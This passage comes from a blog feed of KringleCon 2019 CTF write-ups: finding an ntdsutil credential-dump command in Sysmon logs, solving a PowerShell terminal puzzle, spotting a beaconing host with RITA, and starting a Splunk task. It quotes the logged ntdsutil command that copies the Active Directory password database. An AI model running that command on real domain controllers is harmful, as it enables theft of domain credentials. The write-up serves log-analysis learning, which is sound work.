&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">$ cat sysmon-data.json &lt;span class="p">|&lt;/span> jq &lt;span class="s1">&amp;#39;.[].command_line&amp;#39;&lt;/span> &lt;span class="p">|&lt;/span> grep &lt;span class="s1">&amp;#39;.exe&amp;#39;&lt;/span> &lt;span class="p">|&lt;/span> uniq &lt;span class="p">|&lt;/span> wc -l
&lt;span class="m">196&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>196 is still rather large number to try, so then I decided to search on the net for &lt;strong>extracting domain password&lt;/strong> and one of the first few articles pointed me to a utility called NTDS. I searched for this in the logs and the answer presented itself right away: &lt;strong>ntdsutil&lt;/strong> which is the solution for Objective #4:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">$ cat sysmon-data.json &lt;span class="p">|&lt;/span> jq &lt;span class="s1">&amp;#39;.[].command_line&amp;#39;&lt;/span> &lt;span class="p">|&lt;/span> grep &lt;span class="s1">&amp;#39;ntdsutil.exe&amp;#39;&lt;/span>
&lt;span class="s2">&amp;#34;ntdsutil.exe \&amp;#34;ac i ntds\&amp;#34; ifm \&amp;#34;create full c:\\hive\&amp;#34; q q&amp;#34;&lt;/span>
&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Network Log Analysis - Determine Compromised System</title><link>https://flrnks.netlify.app/tutorials/kringlecon2019/objective5/</link><pubDate>Sat, 28 Dec 2019 00:00:00 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2019/objective5/</guid><description>&lt;h2 id="zeek-them-logs">Zeek them logs!&lt;/h2>
&lt;p>Instructions from the badge:&lt;/p>
&lt;blockquote>
&lt;p>The attacks don&amp;rsquo;t stop!
Can you help identify the IP address of the malware-infected system using these Zeek logs?
For hints on achieving this objective, please visit the Laboratory and talk with Sparkle Redberry.&lt;/p>
&lt;/blockquote>
&lt;p>Link to Zeek
&lt;a href="https://downloads.elfu.org/sysmon-data.json.zip" target="_blank" rel="noopener">logs&lt;/a> which weigh around 300 MB (1.4 GB uncompressed).&lt;/p>
&lt;h2 id="technical-challenge">Technical Challenge&lt;/h2>
&lt;p>Before attacking the Zeek logs, you can look for Sparkle Redberry in the Laboratory for some hints on the main objective. But as usual, you need to help him first with a laser device that&amp;rsquo;s normally generating Xmas Cheers but is now malfunctioning:&lt;/p>
&lt;p>&lt;img src="../images/obj5-sparkle.png" alt="Sparkle Redberry">&lt;/p>
&lt;blockquote>
&lt;p>I&amp;rsquo;m Sparkle Redberry and Imma chargin&amp;rsquo; my laser!
Problem is: the settings are off.
Do you know any PowerShell?
It&amp;rsquo;d be GREAT if you could hop in and recalibrate this thing.
It spreads holiday cheer across the Earth &amp;hellip;
&amp;hellip; when it&amp;rsquo;s working!&lt;/p>
&lt;/blockquote>
&lt;p>So now it&amp;rsquo;s time to dive into the PowerShell terminal sitting on the table, which controls the laser hardware. When you open the terminal you see the below banner:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">PowerShell 6.2.3
Copyright &lt;span class="o">(&lt;/span>c&lt;span class="o">)&lt;/span> Microsoft Corporation. All rights reserved.
https://aka.ms/pscore6-docs
Type &lt;span class="s1">&amp;#39;help&amp;#39;&lt;/span> to get help.
🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲
🗲 🗲
🗲 Elf University Student Research Terminal - Christmas Cheer Laser Project 🗲
🗲 ------------------------------------------------------------------------------ 🗲
🗲 The research department at Elf University is currently working on a top-secret 🗲
🗲 Laser which shoots laser beams of Christmas cheer at a range of hundreds of 🗲
🗲 miles. The student research team was successfully able to tweak the laser to 🗲
🗲 JUST the right settings to achieve &lt;span class="m">5&lt;/span> Mega-Jollies per liter of laser output. 🗲
🗲 Unfortunately, someone broke into the research terminal, changed the laser 🗲
🗲 settings through the Web API and left a note behind at /home/callingcard.txt. 🗲
🗲 Read the calling card and follow the clues to find the correct laser Settings. 🗲
🗲 Apply these correct settings to the laser using it&lt;span class="err">&amp;#39;&lt;/span>s Web API to achieve laser 🗲
🗲 output of &lt;span class="m">5&lt;/span> Mega-Jollies per liter. 🗲
🗲 🗲
🗲 Use &lt;span class="o">(&lt;/span>Invoke-WebRequest -Uri http://localhost:1225/&lt;span class="o">)&lt;/span>.RawContent &lt;span class="k">for&lt;/span> more info. 🗲
🗲 🗲
🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲🗲
&lt;/code>&lt;/pre>&lt;/div>&lt;p>You can see some really good hints straight away. Your main task is to calibrate the laser, so that it emits at least &lt;strong>5 Mega-Jollies&lt;/strong> of &lt;strong>Xmas Cheer&lt;/strong>. In order to calibrate it we can change its &lt;code>angle&lt;/code>, the &lt;code>temperature&lt;/code>, the &lt;code>refraction&lt;/code> and various compositions of &lt;code>gases&lt;/code> inside. For the full instructions execute the command in the banner:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">PS /home/elf&amp;gt; &lt;span class="o">(&lt;/span>Invoke-WebRequest -Uri http://localhost:1225/&lt;span class="o">)&lt;/span>.RawContent
HTTP/1.0 &lt;span class="m">200&lt;/span> OK
Server: Werkzeug/0.16.0
Server: Python/3.6.9
Date: Sat, &lt;span class="m">28&lt;/span> Dec &lt;span class="m">2019&lt;/span> 21:20:38 GMT
Content-Type: text/html&lt;span class="p">;&lt;/span> &lt;span class="nv">charset&lt;/span>&lt;span class="o">=&lt;/span>utf-8
Content-Length: &lt;span class="m">860&lt;/span>
...
----------------------------------------------------
Christmas Cheer Laser Project Web API
----------------------------------------------------
Turn the laser on/off:
GET http://localhost:1225/api/on
GET http://localhost:1225/api/off
Check the current Mega-Jollies of laser output
GET http://localhost:1225/api/output
Change the lense refraction value &lt;span class="o">(&lt;/span>1.0 - 2.0&lt;span class="o">)&lt;/span>:
GET http://localhost:1225/api/refraction?val&lt;span class="o">=&lt;/span>1.0
Change laser temperature in degrees Celsius:
GET http://localhost:1225/api/temperature?val&lt;span class="o">=&lt;/span>-10
Change the mirror angle value &lt;span class="o">(&lt;/span>&lt;span class="m">0&lt;/span> - 359&lt;span class="o">)&lt;/span>:
GET http://localhost:1225/api/angle?val&lt;span class="o">=&lt;/span>45.1
Change gaseous elements mixture:
POST http://localhost:1225/api/gas
POST BODY EXAMPLE &lt;span class="o">(&lt;/span>gas mixture percentages&lt;span class="o">)&lt;/span>:
&lt;span class="nv">O&lt;/span>&lt;span class="o">=&lt;/span>5&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">H&lt;/span>&lt;span class="o">=&lt;/span>5&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">He&lt;/span>&lt;span class="o">=&lt;/span>5&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">N&lt;/span>&lt;span class="o">=&lt;/span>5&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">Ne&lt;/span>&lt;span class="o">=&lt;/span>20&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">Ar&lt;/span>&lt;span class="o">=&lt;/span>10&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">Xe&lt;/span>&lt;span class="o">=&lt;/span>10&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">F&lt;/span>&lt;span class="o">=&lt;/span>20&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">Kr&lt;/span>&lt;span class="o">=&lt;/span>10&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="nv">Rn&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="m">10&lt;/span>
----------------------------------------------------
...
&lt;/code>&lt;/pre>&lt;/div>&lt;p>When I first tried to calibrate the laser, I naively thought I can just enter some random numbers and see if I can reach the desired amount of Mega-Jollies by trial and error / brute forcing. But after 10 minutes of messing with the laser parameters, I had to admit that this was not going to work. So then I read the banner again and started following the hints.&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">PS /home/elf&amp;gt; get-content /home/callingcard.txt
What&lt;span class="s1">&amp;#39;s become of your dear laser?
&lt;/span>&lt;span class="s1">Fa la la la la, la la la la
&lt;/span>&lt;span class="s1">Seems you can&amp;#39;&lt;/span>t now seem to raise her!
Fa la la la la, la la la la
Could commands hold riddles in hist&lt;span class="s1">&amp;#39;ry?
&lt;/span>&lt;span class="s1">Fa la la la la, la la la la
&lt;/span>&lt;span class="s1">Nay! You&amp;#39;&lt;/span>ll ever suffer myst&lt;span class="err">&amp;#39;&lt;/span>ry!
Fa la la la la, la la la la
PS /home/elf&amp;gt;
&lt;/code>&lt;/pre>&lt;/div>&lt;p>This clue is pointing to the command history, so next I Googled how to see PowerShell command history and queried the terminal:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">PS /home/elf&amp;gt; Get-History
Id CommandLine
-- -----------
&lt;span class="m">1&lt;/span> Get-Help -Name Get-Process
&lt;span class="m">2&lt;/span> Get-Help -Name Get-*
&lt;span class="m">3&lt;/span> Set-ExecutionPolicy Unrestricted
&lt;span class="m">4&lt;/span> Get-Service &lt;span class="p">|&lt;/span> ConvertTo-HTML -Property Name, Status &amp;gt; C:&lt;span class="se">\s&lt;/span>ervices.htm
&lt;span class="m">5&lt;/span> Get-Service &lt;span class="p">|&lt;/span> Export-CSV c:&lt;span class="se">\s&lt;/span>ervice.csv
&lt;span class="m">6&lt;/span> Get-Service &lt;span class="p">|&lt;/span> Select-Object Name, Status &lt;span class="p">|&lt;/span> Export-CSV c:&lt;span class="se">\s&lt;/span>ervice.csv
&lt;span class="m">7&lt;/span> &lt;span class="o">(&lt;/span>Invoke-WebRequest http://127.0.0.1:1225/api/angle?val&lt;span class="o">=&lt;/span>65.5&lt;span class="o">)&lt;/span>.RawContent
&lt;span class="m">8&lt;/span> Get-EventLog -Log &lt;span class="s2">&amp;#34;Application&amp;#34;&lt;/span>
&lt;span class="m">9&lt;/span> I have many &lt;span class="nv">name&lt;/span>&lt;span class="o">=&lt;/span>value variables that I share to applications system wide. At a comma…
&lt;span class="m">10&lt;/span> &lt;span class="o">(&lt;/span>Invoke-WebRequest -Uri http://localhost:1225/&lt;span class="o">)&lt;/span>.RawContent
&lt;span class="m">11&lt;/span> get-content /home/callingcard.txt
&lt;/code>&lt;/pre>&lt;/div>&lt;p>IDs #7 and ID #9 both seems interesting. For now we can assume that ID #7 holds the correct value for the angle! I then continued with ID #9 which seemed to have a truncated message. If only we could reveal the full version. Of course, after few google searches, I found just the command I needed.&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">PS /home/elf&amp;gt; Invoke-History -Id &lt;span class="m">9&lt;/span>
I have many &lt;span class="nv">name&lt;/span>&lt;span class="o">=&lt;/span>value variables that I share to applications system wide. At a &lt;span class="nb">command&lt;/span> I will reveal my secrets once you Get my Child Items.
&lt;/code>&lt;/pre>&lt;/div>&lt;p>So hidden in the riddle was another riddle. The first sentence seems to suggest we need to look at &lt;strong>ENV&lt;/strong> variables, while the second sentence seems to suggest how to get to them. On to google searching again, then back to the terminal:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">PS /home/elf&amp;gt; Get-ChildItem Env:
Name Value
---- -----
PWD /home/elf
riddle Squeezed and compressed I am hidden away. Expand me from my…
SHELL /home/elf/elf
... ...
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Here we see an environment variable named &lt;strong>riddle&lt;/strong> containing some further clues. However we need to find a way to expand it so its full content can be revealed. This can be done in numerous ways, one idea I got from my brother, who is a bigger PowerShell guru than I am, was to do the below:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">PS /home/elf&amp;gt; &lt;span class="o">(&lt;/span>Get-ChildItem Env:&lt;span class="o">)[&lt;/span>-9&lt;span class="o">]&lt;/span>.Value
Squeezed and compressed I am hidden away. Expand me from my prison and I will show you the way. Recurse through all /etc and Sort on my LastWriteTime to reveal i&lt;span class="err">&amp;#39;&lt;/span>m the newest of all.
PS /home/elf&amp;gt;
&lt;/code>&lt;/pre>&lt;/div>&lt;p>So the content of the riddle env variable was now revealed, which seemed to suggest to continue looking in the /etc folder, where we should find the file which was modified most recently. Back to Google again, to do some searching, which gave the below commands:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">PS /home/elf&amp;gt; Get-ChildItem -Recurse -Path /etc &lt;span class="p">|&lt;/span> Sort LastWriteTime
&lt;span class="o">[&lt;/span>... lots of output omitted &lt;span class="k">for&lt;/span> brievity...&lt;span class="o">]&lt;/span>
Directory: /etc/apt
Mode LastWriteTime Length Name
---- ------------- ------ ----
--r--- 12/28/19 9:46 PM &lt;span class="m">5662902&lt;/span> archive
PS /home/elf&amp;gt; Expand-Archive /etc/apt/archive -DestinationPath ./expanded
PS /home/elf&amp;gt; Get-ChildItem ./expanded/
Directory: /home/elf/expanded
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/28/19 9:53 PM refraction
PS /home/elf&amp;gt; Get-ChildItem ./expanded/refraction/
Directory: /home/elf/expanded/refraction
Mode LastWriteTime Length Name
---- ------------- ------ ----
------ 11/7/19 11:57 AM &lt;span class="m">134&lt;/span> riddle &lt;span class="s">&amp;lt;&amp;lt; further clue f&lt;/span>or temperature
------ 11/5/19 2:26 PM &lt;span class="m">5724384&lt;/span> runme.elf &lt;span class="s">&amp;lt;&amp;lt; refraction is hidden here&lt;/span>
&lt;/code>&lt;/pre>&lt;/div>&lt;p>This archive, when unpacked, revealed a folder named &lt;strong>refraction&lt;/strong> and within another hint plus the value for refraction. To get the value for refraction I had to somehow run the other file &lt;strong>runme.elf&lt;/strong>. I spent close to 2 hours trying to figure out how to call this file from PowerShell, when I had almost given up, and gave a final try by issuing &lt;code>chmod +x&lt;/code> and then running it as binary executable. Quite surprisingly this worked like a charm:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">PS /home/elf/expanded/refraction&amp;gt; chmod +x ./runme.elf
PS /home/elf/expanded/refraction&amp;gt; ./runme.elf
refraction?val&lt;span class="o">=&lt;/span>1.867
PS /home/elf/expanded/refraction&amp;gt; Get-Content ./riddle
Very shallow am I in the depths of your elf home. You can find my entity by using my md5 identity:
25520151A320B5B0D21561F92C8F6224
PS /home/elf/expanded/refraction&amp;gt;
&lt;/code>&lt;/pre>&lt;/div>&lt;p>So there was the correct setting for the &lt;strong>refraction&lt;/strong> of the laser. Next I turned to the other file in the folder called &lt;strong>riddle&lt;/strong> and saw further clues. I noticed that it referred to &lt;strong>depths&lt;/strong>, which was a reference to the HOME directory which contained hundreds of text files in several levels of folders hierarchy. Somewhere in these depths was a file which had the md5 hash referenced in the riddle. To find it I issued the below command:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">PS /home/elf&amp;gt; Get-ChildItem ./depths/*.txt -Recurse &lt;span class="p">|&lt;/span> Get-FileHash -Algorithm MD5 &lt;span class="p">|&lt;/span> Where-Object &lt;span class="nb">hash&lt;/span> -eq 25520151A320B5B0D21561F92C8F6224 &lt;span class="p">|&lt;/span> Select path
Path
----
/home/elf/depths/produce/thhy5hll.txt
PS /home/elf&amp;gt; Get-Content /home/elf/depths/produce/thhy5hll.txt
temperature?val&lt;span class="o">=&lt;/span>-33.5
I am one of many thousand similar txt&lt;span class="s1">&amp;#39;s contained within the deepest of /home/elf/depths. Finding me will give you the most strength but doing so will require Piping all the FullName&amp;#39;&lt;/span>s to Sort Length.
&lt;/code>&lt;/pre>&lt;/div>&lt;p>The last missing piece of the laser puzzle was the correct composition of &lt;strong>gas&lt;/strong> compounds for the laser. There were no direct hints that I could find, however, I had the idea that perhaps the &lt;code>/home/elf/depths&lt;/code> folder may be holding more than just the &lt;strong>temperature&lt;/strong>. Next I did a search for the top 3 largest text files within this folder and found that the 2 largest text files are somewhat special. The largest was the one which contained the temperature, the second largest was another file with some further clues.&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">PS /home/elf&amp;gt; Get-ChildItem -Path ./depths/ -Recurse &lt;span class="p">|&lt;/span> Sort-Object Length -Descending &lt;span class="p">|&lt;/span> Select-Object length,name,directory -First &lt;span class="m">3&lt;/span> &lt;span class="p">|&lt;/span> Format-Table -AutoSize -Wrap
Length Name Directory
------ ---- ---------
&lt;span class="m">224&lt;/span> thhy5hll.txt /home/elf/depths/produce
&lt;span class="m">209&lt;/span> 0jhj5xz6.txt /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/u
nknown/escape/vote/long/writer/behind/ahead/thin/occasionally/explore/t
ape/wherever/practical/therefore/cool/plate/ice/play/truth/potatoes/bea
uty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main
/she/threw/eager/trip/to/soon/think/fall/is/greatest/become/accident/la
bor/sail/dropped/fox
&lt;span class="m">162&lt;/span> r9j67n1j.txt /home/elf/depths/larger/saddle/grown/correctly/allow/free/spoken/coffee
/sight/increase/steady/division/gas/available/pressure/wooden
&lt;/code>&lt;/pre>&lt;/div>&lt;p>As it can be seen, the 3rd largest file was noticeably smaller. I still checked its content, but there was nothing useful in it, so it was safe to assume that no other files were of any interest within the depths folder. So then I checked the contents of the &lt;code>0jhj5xz6.txt&lt;/code> buried deep within the &lt;code>depths&lt;/code> and found that it contained some pretty useful hint:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">PS /home/elf&amp;gt; Get-Content /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/escape/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever/practical/therefore/cool/plate/ice/play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eager/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/0jhj5xz6.txt
Get process information to include Username identification. Stop Process to show me you&lt;span class="s1">&amp;#39;re skilled and in this order they must be killed:
&lt;/span>&lt;span class="s1"> bushy
&lt;/span>&lt;span class="s1"> alabaster
&lt;/span>&lt;span class="s1"> minty
&lt;/span>&lt;span class="s1"> holly
&lt;/span>&lt;span class="s1">Do this for me and then you /shall/see.
&lt;/span>&lt;span class="s1">PS /home/elf&amp;gt; Get-Process -IncludeUserName
&lt;/span>&lt;span class="s1"> WS(M) CPU(s) Id UserName ProcessName
&lt;/span>&lt;span class="s1"> ----- ------ -- -------- -----------
&lt;/span>&lt;span class="s1"> 28.99 2.01 6 root CheerLaserServi
&lt;/span>&lt;span class="s1"> 191.95 16.86 31 elf elf
&lt;/span>&lt;span class="s1"> 3.57 0.02 1 root init
&lt;/span>&lt;span class="s1"> 0.72 0.00 24 bushy sleep
&lt;/span>&lt;span class="s1"> 0.75 0.00 26 alabaster sleep
&lt;/span>&lt;span class="s1"> 0.77 0.00 28 minty sleep
&lt;/span>&lt;span class="s1"> 0.82 0.00 29 holly sleep
&lt;/span>&lt;span class="s1"> 3.27 0.00 30 root su
&lt;/span>&lt;span class="s1">PS /home/elf&amp;gt; Stop-Process 24 26 28 29
&lt;/span>&lt;span class="s1">PS /home/elf&amp;gt; Get-Content /shall/see
&lt;/span>&lt;span class="s1">Get the .xml children of /etc - an event log to be found. Group all .Id&amp;#39;&lt;/span>s and the last thing will be in the Properties of the lonely unique event Id.
PS /home/elf&amp;gt;
&lt;/code>&lt;/pre>&lt;/div>&lt;p>So it seemed the gas values were hidden somewhere in an &lt;code>.xml&lt;/code> file in the &lt;code>/etc&lt;/code> folder. To find this file I turned to another command of PowerShell:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">PS /home/elf&amp;gt; Get-ChildItem -Recurse -Include *.xml -Path /etc/
Directory: /etc/systemd/system/timers.target.wants
Mode LastWriteTime Length Name
---- ------------- ------ ----
--r--- 11/18/19 7:53 PM &lt;span class="m">10006962&lt;/span> EventLog.xml
&lt;/code>&lt;/pre>&lt;/div>&lt;p>It was a rather large XML file, so instead of displaying it, I just did a simple text-based search. I know the hint said I should parse the XML and do some fancy Group-By based on ID and whatnot, but I am fond of simpler shortcuts whenever possible, so I did a simple string search that quickly gave me the answer to the composition of gases:&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">PS /home/elf&amp;gt; Get-Content /etc/systemd/system/timers.target.wants/EventLog.xml &lt;span class="p">|&lt;/span> Select-String -pattern &lt;span class="s2">&amp;#34;gas&amp;#34;&lt;/span>
&amp;lt;S &lt;span class="nv">N&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;Message&amp;#34;&lt;/span>&amp;gt;
Process Create: -
RuleName: -
UtcTime: 2019-11-07 17:59:56.525
ProcessGuid: &lt;span class="o">{&lt;/span>BA5C6BBB-5B9C-5DC4-0000-00107660A900&lt;span class="o">}&lt;/span>
ProcessId: &lt;span class="m">3664&lt;/span>
Image: C:&lt;span class="se">\W&lt;/span>indows&lt;span class="se">\S&lt;/span>ystem32&lt;span class="se">\W&lt;/span>indowsPowerShell&lt;span class="se">\v&lt;/span>1.0&lt;span class="se">\p&lt;/span>owershell.exe
FileVersion: 10.0.14393.206 &lt;span class="o">(&lt;/span>rs1_release.160915-0644&lt;span class="o">)&lt;/span>
Description: Windows PowerShell Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: PowerShell.EXE
CommandLine: C:&lt;span class="se">\W&lt;/span>indows&lt;span class="se">\S&lt;/span>ystem32&lt;span class="se">\W&lt;/span>indowsPowerShell&lt;span class="se">\v&lt;/span>1.0&lt;span class="se">\p&lt;/span>owershell.exe -c &lt;span class="s2">&amp;#34;`&lt;/span>&lt;span class="nv">$correct_gases_postbody&lt;/span>&lt;span class="s2"> = @{`n O=6`n H=7`n He=3`n N=4`n Ne=22`n Ar=11`n Xe=10`n F=20`n Kr=8`n Rn=9`n}`n&amp;#34;&lt;/span>
CurrentDirectory: C:&lt;span class="se">\
&lt;/span>&lt;span class="se">&lt;/span> User: ELFURESEARCH&lt;span class="se">\a&lt;/span>llservices
LogonGuid: &lt;span class="o">{&lt;/span>BA5C6BBB-5B9C-5DC4-0000-0020F55CA900&lt;span class="o">}&lt;/span>
LogonId: 0xA95CF5
TerminalSessionId: &lt;span class="m">0&lt;/span>
IntegrityLevel: High
Hashes: &lt;span class="nv">MD5&lt;/span>&lt;span class="o">=&lt;/span>097CE5761C89434367598B34FE32893B
ParentProcessGuid: &lt;span class="o">{&lt;/span>BA5C6BBB-4C79-5DC4-0000-001029350100&lt;span class="o">}&lt;/span>
ParentProcessId: &lt;span class="m">1008&lt;/span>
ParentImage: C:&lt;span class="se">\W&lt;/span>indows&lt;span class="se">\S&lt;/span>ystem32&lt;span class="se">\s&lt;/span>vchost.exe
ParentCommandLine: C:&lt;span class="se">\W&lt;/span>indows&lt;span class="se">\s&lt;/span>ystem32&lt;span class="se">\s&lt;/span>vchost.exe -k netsvcs&amp;lt;/S&amp;gt;
&lt;/code>&lt;/pre>&lt;/div>&lt;p>I formatted the output a bit, but basically it is very easy to spot the composition of gases within the arguments of the PowerShell executable: &lt;code>O=6 H=7 He=3 N=4 Ne=22 Ar=11 Xe=10 F=20 Kr=8 Rn=9&lt;/code>. With this final piece of the puzzle complete, I used the laser Web API to submit the correct values and reached the 5 Mega-Jollies of Xmas Cheer with the laser output.&lt;/p>
&lt;div class="highlight">&lt;pre class="chroma">&lt;code class="language-Bash" data-lang="Bash">&lt;span class="o">(&lt;/span>Invoke-WebRequest http://127.0.0.1:1225/api/off&lt;span class="o">)&lt;/span>.RawContent
&lt;span class="o">(&lt;/span>Invoke-WebRequest http://127.0.0.1:1225/api/angle?val&lt;span class="o">=&lt;/span>65.5&lt;span class="o">)&lt;/span>.RawContent
&lt;span class="o">(&lt;/span>Invoke-WebRequest http://127.0.0.1:1225/api/temperature?val&lt;span class="o">=&lt;/span>-33.5&lt;span class="o">)&lt;/span>.RawContent
&lt;span class="o">(&lt;/span>Invoke-WebRequest http://127.0.0.1:1225/api/refraction?val&lt;span class="o">=&lt;/span>1.867&lt;span class="o">)&lt;/span>.RawContent
&lt;span class="o">(&lt;/span>Invoke-WebRequest -Uri http://127.0.0.1:1225/api/gases -Body &lt;span class="s2">&amp;#34;O=6&amp;amp;H=7&amp;amp;He=3&amp;amp;N=4&amp;amp;Ne=22&amp;amp;Ar=11&amp;amp;Xe=10&amp;amp;F=20&amp;amp;Kr=8&amp;amp;Rn=9&amp;#34;&lt;/span> -Method POST&lt;span class="o">)&lt;/span>.RawContent
&lt;span class="o">(&lt;/span>Invoke-WebRequest http://127.0.0.1:1225/api/on&lt;span class="o">)&lt;/span>.RawContent
&lt;span class="o">(&lt;/span>Invoke-WebRequest http://127.0.0.1:1225/api/output&lt;span class="o">)&lt;/span>.RawContent
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now that this terminal issue is solved, let&amp;rsquo;s check with Sparkle Redberry for the hints he promised:&lt;/p>
&lt;blockquote>
&lt;p>You got it - three cheers for cheer!
For objective 5, have you taken a look at our Zeek logs?
Something&amp;rsquo;s gone wrong. But I hear someone named Rita can help us.
Can you and she figure out what happened?&lt;/p>
&lt;/blockquote>
&lt;h2 id="main-objective">Main Objective&lt;/h2>
&lt;p>So the hint from Sparkle mentioned Rita, which is not a reference to some other character on the ELFU campus, but a
&lt;a href="https://www.activecountermeasures.com/free-tools/rita/" target="_blank" rel="noopener">tool&lt;/a> for solving the main objective. The tool is available through a GitHub
&lt;a href="https://github.com/activecm/rita" target="_blank" rel="noopener">repository&lt;/a>.&lt;/p>
&lt;p>As a next step I unpacked the 300 MB zip and noticed that it already contained a folder &lt;strong>ELFU&lt;/strong> which had an &lt;strong>index.html&lt;/strong>. I loaded it up in my browser and noticed that it contained statistics from presumably the same log files so I did not had to install Rita eventually. Instead I relied on the contents of this ELFU folder from the unpacked zip.&lt;/p>
&lt;p>So next I opened the index.html and saw that one database with name &lt;strong>ELFU&lt;/strong> was available. I clicked it and got a bunch of tabs with different kinds of information:&lt;/p>
&lt;p>&lt;img src="../images/obj5-rita.png" alt="Rita Web UI">&lt;/p>
&lt;p>I first noticed the &lt;strong>Beacons&lt;/strong> tab and the very first item in the table with 7660 connections and source IP of &lt;strong>192.168.134.130&lt;/strong>. Then I remembered that I was looking for the IP address of a system which is infected with malware. Then I also checked the &lt;strong>Long Connections&lt;/strong> tab and the same source IP showed up with the longest connection of 1000 (probably seconds?). Then I tried my luck with this IP address as the answer and the value was accepted!&lt;/p></description></item><item><title>Splunk</title><link>https://flrnks.netlify.app/tutorials/kringlecon2019/objective6/</link><pubDate>Sat, 28 Dec 2019 00:00:00 +0100</pubDate><guid>https://flrnks.netlify.app/tutorials/kringlecon2019/objective6/</guid><description>&lt;h2 id="evil-emails">Evil emails!&lt;/h2>
&lt;p>Instructions from the badge:&lt;/p>
&lt;blockquote>
&lt;p>Access &lt;a href="https://splunk.elfu.org/">https://splunk.elfu.org/&lt;/a> as elf with password elfsocks.
What was the message for Kent that the adversary embedded in this attack?
The SOC folks at that link will help you along!
For hints on achieving this objective, please visit the Laboratory in Hermey Hall and talk with Prof. Banas.&lt;/p>
&lt;/blockquote>
&lt;p>For additional advice you are told to visit Hermey Hall and talk to Prof Banas:&lt;/p>
&lt;p>&lt;img src="../images/obj6-banas.png" alt="Prof Banas">&lt;/p>
&lt;blockquote>
&lt;p>Hi, I&amp;rsquo;m Dr. Banas, professor of Cheerology at Elf University.
This term, I&amp;rsquo;m teaching &amp;ldquo;HOL 404: The Search for Holiday Cheer in Popular Culture,&amp;rdquo; and I&amp;rsquo;ve had quite a shock!
I was at home enjoying a nice cup of Gløgg when I had a call from Kent, one of my students who interns at the Elf U SOC.
Kent said that my computer has been hacking other computers on campus and that I needed to fix it ASAP!
If I don&amp;rsquo;t, he will have to report the incident to the boss of the SOC.
Apparently, I can find out more information from this website &lt;a href="https://splunk.elfu.org/">https://splunk.elfu.org/&lt;/a> with the username: elf / Password: elfsocks.
I don&amp;rsquo;t know anything about computer security. Can you please help me?&lt;/p>
&lt;/blockquote>
&lt;p>This time there was no terminal which needed to be fixed through some command line magic, instead you just had to browse to the URL given by Prof. Banas and follow the hints through the ElfU SOC chat interface. When you first visit, you will be greeted with the below message.&lt;/p>
&lt;p>&lt;img src="../images/obj6-splunk.png" alt="Splunk Interface">&lt;/p>
&lt;p>The main question to answer:&lt;/p>
&lt;p>&lt;code>What was the message for Kent that the adversary embedded in this attack?&lt;/code>&lt;/p>
&lt;p>To get to the answer, you should rely on the training questions and the hints from SOC characters in the chat. Alice in the chat will tell you that you don&amp;rsquo;t necessarily need to solve all the training questions if you already know Splunk, you can safely skip and look for the answer to the main question. To do this you will need these 2 resources:&lt;/p>
&lt;ul>
